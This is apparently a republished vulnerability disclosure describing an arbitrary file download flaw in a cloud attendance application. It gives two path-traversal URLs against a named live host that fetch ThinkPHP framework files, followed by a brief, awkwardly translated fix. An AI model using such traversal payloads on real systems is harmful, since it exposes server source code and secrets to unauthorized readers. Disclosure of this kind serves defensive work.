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Arbitrary File Download Vulnerability in a cloud application of qunying

Source: Internet
Author: User
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Arbitrary File Download Vulnerability in a cloud application of qunying

Official cloud application file downloads have security risks

Detailed description: Code Region 
http://kq.qycn.com/personnel/leave/download/?filename=a.php&file=../ThinkPHP/thinkphp.php

 

Code Region 
http://kq.qycn.com/personnel/leave/download/?filename=a.php&file=../ThinkPHP/ThinkPHP.php


 


The download parameter is the relative path of the file. Theoretically, any file can be downloaded.

Proof of vulnerability:

Apply index. php


Downloaded framework File

Solution:

Verify the download file path.

To allow users to upload directories to read.


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